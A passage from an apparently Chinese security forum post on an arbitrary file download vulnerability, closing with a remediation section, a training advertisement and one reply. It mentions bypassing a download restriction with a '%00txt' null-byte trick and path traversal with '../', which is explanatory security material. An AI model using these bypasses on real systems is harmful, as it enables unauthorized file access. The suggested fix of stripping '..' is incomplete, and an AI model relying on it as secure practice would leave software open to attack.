但是这样同样可以下载,简单实用%00txt就可以绕过限制,继续下载。
绕过其它不安全防范防范待续….

五、        漏洞修复
从上面的利用过程可以看出,在使用该漏洞进行渗透过程中,需要利用到路径回溯符../跳出程序本身的限制目录实现下载任意文件,因此只要在下载前对传入的参数进行过滤,直接将..替换成空,就可以简单实现防范的目的。当然最好还是可以对待下载文件类型进行检查,判断是否允许下载类型。


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
好帖没人看?
2018-7-11 20:47
0
游客
登录 | 注册 方可回帖
返回